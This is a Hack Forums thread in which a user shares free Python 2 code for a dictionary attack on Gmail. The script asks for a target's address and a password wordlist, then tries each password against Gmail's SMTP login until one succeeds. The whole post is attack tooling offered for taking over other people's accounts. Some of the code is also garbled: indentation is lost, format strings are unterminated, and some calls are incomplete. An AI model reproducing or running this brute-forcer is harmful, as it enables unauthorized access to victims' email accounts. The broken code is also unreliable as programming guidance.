Hack Forums
[Shell] [FREE] Simple Gmail Brute Forcer Code - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [Shell] [FREE] Simple Gmail Brute Forcer Code (/showthread.php?tid=5890916)



[FREE] Simple Gmail Brute Forcer Code - sammyveen - Oct 2, 2018

You will need to copy and paste the code below into a .py file
You will also need to place your wordlist in the same directory as the py file

here is the code, make sure you're running python 2.x

Code:-
import os
import smtplib
import sys
from colorama import init, Fore
init()

print (Fore.RED + "\n THIS FUNCTION WILL PERFORM A DICTIONARY ATTACK ON GMAIL'S SMTP SERVER")
session = smtplib.SMTP("smtp.gmail.com", 587)
session.ehlo()
session.starttls()
session.ehlo()

os.getcwd
User = raw_input (Fore.GREEN + " Enter The Targets Gmail Address: ")
passwfile = raw_input (Fore.GREEN + " Enter The Password List: ")
try:
passwfile = open(passwfile, "r")
except IOError:
print (Fore.RED + "[!]File Not Found")

for password in passwfile:
try:
session.login(User,password)
print (Fore.GREEN + " [+] PASSWORD FOUND: %s" % password)
break
except smtplib.SMTPAuthenticationError:
print (Fore.RED + " [!] INCORRECT: {!s".format(password))
session = smtplib.SMTP("smtp.gmail.com", 587)
session.ehlo()
session.starttls()
session.ehlo()
except smtplib.SMTPServerDisconnected:
print (Fore.RED + " [!] INCORRECT: {!s
".format(password))
session = smtplib.SMTP("smtp.gmail.com", 587)
session.ehlo()
session.starttls()
session.ehlo